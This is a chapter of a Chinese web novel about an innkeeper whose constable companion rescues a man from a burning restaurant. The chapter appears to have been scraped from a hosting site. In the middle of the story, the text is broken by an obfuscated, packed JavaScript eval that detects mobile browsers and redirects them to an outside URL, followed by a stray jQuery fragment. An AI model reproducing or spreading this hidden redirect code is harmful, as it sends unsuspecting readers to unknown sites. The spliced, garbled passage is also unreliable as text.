53. 第 53 章

作品:《我被系统强制盘活客栈后爆红了

    自李弦带回有关周坚的消息后,一切又恢复了平静,好似什么都没发生一般。


    客来居的生意依旧红火,吴二也时常带来码头上的情况,所有的事都按部就班地进行着,但黎映真心底那根弦却始终紧绷着。


    这晚,雪又悄无声息地下了起来。


    客栈打烊后,黎映真照理检查了一遍门窗,才吹灭了大堂部分的灯,外头就传来了猛烈的拍门声。


    “啪!啪!啪!”


    又重又急,恨不能直接砸穿了门冲进来似的。


    “掌柜的,不好了!”赵淮焦急的喊声透过门板传来,“掌柜的!”


    黎映真立即拆了门板,还没来得及放下,便听见外头的赵淮道:“走水了!五味轩走水了!”


    赶往五味轩的路上,飞雪渐密,落在黎映真发间肩头,连眉上都沾了雪子。


    直到将近那冲天的火舌下,寒意才仿佛被那一阵猛烈的热意烧化,雪融成水,滴滴沁入她眉发衣衫。


    衙门值夜的差役收到消息,已赶到现场,领着附近的街坊正在救火。


    现场一片混乱,人声嘈杂,黎映真看见赶来的伙计也在帮忙救火,唯独没有见着吴二。


    “官爷,可瞧见我们铺头吴管事从里头出来?”


    赵淮的询问声传来,黎映真立即上前,问他道:“吴二在里头?”


    “今儿核月账,比平日打烊晚一些,管事省得麻烦就说宿在铺子里。”赵淮一面答,一面往火场里张望。


    “情况如何?”


    李弦的声音穿过吵嚷人声在黎映真耳畔响起,她顺势回头,瞧着那被火光照亮的半边脸,慌忙上去道:“吴二可能还在里头。”


    一旁的差役道:“来的时候火势已经很大,我们没办法进去,不能确定里头是否有人。”


    “啊!”


    人群中忽然爆发出惊呼,本就被火光照亮的夜幕下,又一条巨大的火舌直冲天际。


    手臂被拽住的瞬间,黎映真的身体被用力拽向火场相反的方向,同时一道身影挡在她跟前,将那忽然盛大的火势与她隔绝。


    是熟悉的、属于李弦的气息,她被护在他怀里,紧紧抓着他的手臂。


    耳边是“轰隆”一声,像是有什么东西坍塌,听得她心惊肉跳,立即睁开双眼,视线越过李弦肩头,望着那数丈高的火焰,颤着声道:“吴二,吴二可能还在里面。”


    “在这等我。”


    尾音仿佛还在耳畔回旋,眼前的身影已轻推了她一把,夺下一个救火街坊手中的水桶,朝自己身上当头浇去。


    “李……”黎映真才动了身形,又被拉住。


    “掌柜的,危险,不能去!”阿桃的声音近在身旁,她也是听见消息赶忙过来的。


    黎映真只能眼睁睁看着李弦冲进火场。


    “李哥!”


    “李捕快!”


    惊呼声四起,黎映真却仿佛被那句“在这等我”定住了身形,望着翻卷的火焰和浓烟,眨眼间吞没了李弦那挺拔的身影。


    雪越下越大,冰冷的雪花落在她颊上,寒凉的感受拉回了黎映真被惊愕席卷的思绪。


    眼前是来回提水的百姓,她很快收拾了情绪,加入救火的队伍中。


    终于,在众人全力扑救下,火势得到了控制。


    细密的飞雪里,只剩下缕缕黑烟从焦黑的断壁残垣中升起。


    白日里还人来人往的五味轩,此刻已是一片狼藉的废墟。


    然而,废墟前,没有李弦和吴二的身影。


    夜是黑的,坍塌烧毁的房屋也是黑的,她在这一片黑漆漆的景象里,看不到一丝期盼中的影子。


    “李弦!吴二!”她一面喊着,一面试图走入那片废墟。


    “掌柜的,危险。”阿桃拦着她道,“这些梁子随时可能塌,你不能进去。”


    “已经让人去找李哥了,黎掌柜,你耐心等等吧。”不知何时赶来的老梁,一面抹着脸上不知是汗水还是化开的雪水,一面劝道。


    “我不该……”黎映真看着那些岌岌可危的木柱危墙,声音控制不住地发颤,“不该跟他说吴二在里头……我该拉着……”


    一想起那个冲入火场的背影,她便全身发麻,好似话都没法再说,断断续续了好几次,才勉强说完这句,身子抖得越发厉害。


    她走近老梁,恳求道:“老梁,找快……找快一点好不好?他进……进去……已经……久……很久了……”


    “掌柜的,没事儿,不会有事的。”阿桃一手扶着黎映真,一手轻轻抚着她的背,温言软语地哄着,“咱们李捕快多厉害,一定不会有事的。”


    她的每一次呼吸都不再顺畅完整,一抽一噎地,身子甚至做不出明显的反应,只是转过视线看着阿桃,既不点头,也不摇头。


    是不能。


    她好像有些控制不住这具身体,即便她很想点头回应阿桃。


    “黎映真。”一个熟悉却沙哑的声音从身后传来。


    她听见同时从身后发出的惊喜呼声,也看见老梁兴奋地朝着声音的方向跑去。


    身后的动静,她都听见了,自然也听见急匆匆靠近过来的脚步声。


    已是落如鹅毛的雪里,李弦浑身沾着烟灰和污渍站在她面前,额发被汗水与雪水黏在一起,狼狈极了。


    可这夜色雪光又似乎偏爱他,只教黎映真看着他依旧闪亮的眼眸,这样窘迫的时候,还含着满满笑意,好看极了。


    “我把吴二带出来了,吸了几口烟,先让老梁送去找大夫了。”李弦注意到她的异常,紧张道,“你怎么了?”


    “动……动不了。”她吸了吸鼻子,平复着情绪,“扶我一把。”


    他看了看满身脏污的自己,迟疑道:“我去把阿桃找回来吧。”


    “就你。”她像是豁出去一般,用着仅剩的力气“命令”道,“扶我一把。”


    被李弦扶住的那一刻,那股架着身子的力量被瞬间抽走,她踉跄一步,险些撞进那人怀里。


    鼻底都是他身上沾染的焦木味,呛得她咳了一声。


    身上的麻劲儿还没过,因这动静,她又有些站不住,到底不争气地磕去了李弦身上。


    头顶传来一声低笑时,连带着落下一片阴影。


    又一次被罩在熟悉的暖意里,黎映真前一刻还抵在李弦心口的手,不由地收紧,攥住他的衣襟。


    “雪大了,我先送你回去。”柔声说道后,李弦闷咳了几声,显然嗓子不舒服。


    抬头时,黎映真恰看见他特意扭过去的侧脸,同样沾了乌黑的痕迹。


    她抬手,指尖鬼使神差地靠近。


    不想李弦又转回脸来,她的指尖恰触上他的唇。


    柔软的触感,却像是烫着了她。


    缩回手的瞬间,她心虚得好像做了坏事被发现似的,一味地低头,不觉此时的动作像极了她自己将额头抵上李弦心口。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148321|192900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>李弦低头,怕她听不清一样,凑近了些,道:“跟你说件事。”


    “嗯?”黎映真抬头,又一次落入他浅笑的眼眸里,“什么事?”


    “我这胳膊抬半晌了,你行行好,容我换个姿势。”他笑意更甚。


    这会儿身体知觉恢复了不少,黎映真忙从李弦怀里退开,下意识摸了摸脸——还有些烫,但夜里应该看不出来吧。


    放下手时,目光从指尖滑过,她又想起方才那个意外,便解释道:“你脸上脏了,我……我想给你擦来着。”


    她头一回知道,说实话居然都会觉得不踏实,心里七上八下的,教她一双手都无处安放,一会儿在身前绞得十根指头乱成一团,一会儿又藏去身后不停地搓,总也静不下来。


    李弦正拍着身上的落雪,听她没头没尾地一句,起先愣了愣,再含含糊糊地应了一声:“嗯。”


    黎映真不知他究竟听没听明白,只见他错开自己身边去找老梁交代了几句,才又回到自己面前。


    “这儿交给老梁他们吧,我先送你回去。”说着,他在黎映真身前半蹲下去,道:“上来。”


    她摇头道:“我能自己走。”


    “我不放心。”他拍了拍自己后肩,“雪又大了,我背你还能快些回去。”


    见黎映真没动,李弦扭过头,道:“不是说我脸上脏?你顺道帮我擦擦。帮人帮到底嘛。”


    最后那句说的模棱两可,不知说的是谁帮谁。


    黎映真回头看了一眼还在指挥众人处理现场的老梁,又想到自己和李弦这会儿的确不适合留下,于是提步道:“我说了自己能走。”


    麻劲儿所剩无多,她多走几步也就忍过去了。


    没走多远,身体彻底恢复。


    一个声音又不合时宜地响起:“搭档,250!刚才热度值一下子冲破250了!现在还在上升。”


    “李弦。”她停下脚步,忽然改口道,“能背我吗?”


    那人不发一语,只是嘴角翘得更高,又是那样半蹲在她面前,没有丝毫犹豫。


    黎映真伏上李弦的背,双臂搂去他颈间时,身子便被稳稳托起。


    她还是不习惯,下意识搂紧了些,听得李弦加重了的呼吸声,她以为是自己下手没轻没重,道:“弄疼你了?我不是故意的。”


    正要松开些,却听他道:“有劳黎掌柜借我取暖了。”


    他这样一说,黎映真才觉得夜深雪密,的确比出来时更冷了。


    又想起他方才为了救人,把自己都淋湿了。如今外头的袍子被火烤干了不少,里头的衣服应该还湿着。


    于是,她干脆重新搂紧李弦,几乎贴在他耳畔道:“你走你的,别管我等会儿有什么反应。”


    感觉到身子又被向上托了一把,在李弦向前迈出的脚步里,她似乎贴得他更近。


    脸颊擦过他的后颈,浓烈真实的热意自那领口传来,已是对她无声的回应。


    她放下最后一丝拘谨,完全伏在李弦背上,感受着来自那稳健步伐里的安定,合上双眼,在脑海中写下一句话——


    放弃五味轩,多启客来居分号。


    细雪中前行的身影忽地一顿,已在唇齿间徘徊欲出的名字还是因着那一句“别管”被硬生生咽了下去。


    又听见背上传来一声忍痛的低吟,李弦眉心紧锁,只得加快往客来居去的脚步,却还是忍不住偏过头,柔声安慰道:“再忍一忍,就快到家了。”